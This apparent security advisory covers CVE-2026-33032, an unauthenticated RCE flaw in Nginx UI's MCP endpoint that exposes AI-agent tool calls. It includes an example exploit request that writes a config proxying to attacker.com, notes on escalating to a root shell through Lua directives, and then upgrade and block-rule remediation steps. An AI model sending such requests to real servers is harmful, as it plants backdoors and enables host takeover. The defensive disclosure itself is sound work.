Nginx UI Model Context Protocol Endpoint Missing Authentication Enables Unauthenticated RCE CVE-2026-33032

A critical, actively exploited authentication bypass vulnerability (CVE-2026-33032, CVSS 9.8) has been uncovered in Nginx UI, a graphical management tool used by DevOps teams to orchestrate Nginx reverse proxies, SSL certificates, and routing configurations. The flaw allows unauthenticated remote attackers to interact directly with internal Model Context Protocol (MCP) endpoints, execute privileged administrative actions, and achieve full root remote code execution (RCE) on the underlying host.

The Dangerous Intersection of Web Dashboards and Agent Protocols

In recent development releases, Nginx UI introduced native support for the Model Context Protocol (MCP) to allow autonomous AI assistants and copilot agents to query server metrics, inspect active virtual host blocks, and automatically modify upstream proxy routes based on natural language commands.

While standard web dashboard endpoints were guarded behind session-based JWT authentication middleware, the newly implemented /mcp_message route—designed to handle JSON-RPC tool-calling payloads over Server-Sent Events (SSE) and HTTP POST—was erroneously registered on the global router without attaching the authentication middleware interceptor.

Exploitation Mechanics & Arbitrary Command Execution (CWE-306)

The vulnerability is cataloged as CWE-306: Missing Authentication for Critical Function. Because the endpoint accepted raw JSON-RPC invocations from any origin without validating tokens, threat actors discovered they could invoke built-in MCP server primitives, such as edit_config, test_config, and reload_service:

# HTTP Request exploiting unauthenticated Nginx UI MCP endpoint
POST /mcp_message HTTP/1.1
Host: target-proxy.internal:8080
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "write_nginx_configuration",
    "arguments": {
      "filename": "exploit.conf",
      "content": "location /backdoor { client_body_temp_path /tmp; proxy_pass http://attacker.com; }
"
    }
  },
  "id": 1
}

By leveraging Nginx configuration directives that support directive execution (such as OpenResty content_by_lua_block or loading custom binary modules), an attacker turns simple configuration manipulation into immediate interactive root shell access on the underlying container or host operating system.

Threat Intelligence & Metric Breakdown

Remediation Playbook for DevOps Engineers

Engineering and platform security teams running Nginx UI must take immediate remediation actions:

1. Upgrade Nginx UI to Patched Release v2.2.4

Pull and deploy the latest Docker container build, which enforces rigorous JWT bearer token authentication across all MCP routes:

# Docker: Update Nginx UI to patched release
docker pull 0xjacky/nginx-ui:v2.2.4
docker stop nginx-ui && docker rm nginx-ui
docker run -d --name nginx-ui -p 8080:8080 0xjacky/nginx-ui:v2.2.4

2. Emergency Edge Block for /mcp_message

If an immediate container restart is constrained by maintenance windows, place an edge proxy rule at Cloudflare or your upstream load balancer blocking all unauthenticated traffic targeting /mcp_message:

# Nginx upstream block rule:
location = /mcp_message {
    deny all;
    return 403 "MCP endpoint disabled by security policy";
}

3. Rotate Transport Encryption and Gateway Secrets

Perform forensic audits on nginx.conf files to ensure no malicious reverse proxies, credential-sniffing Lua hooks, or unauthorized upstream endpoints were injected.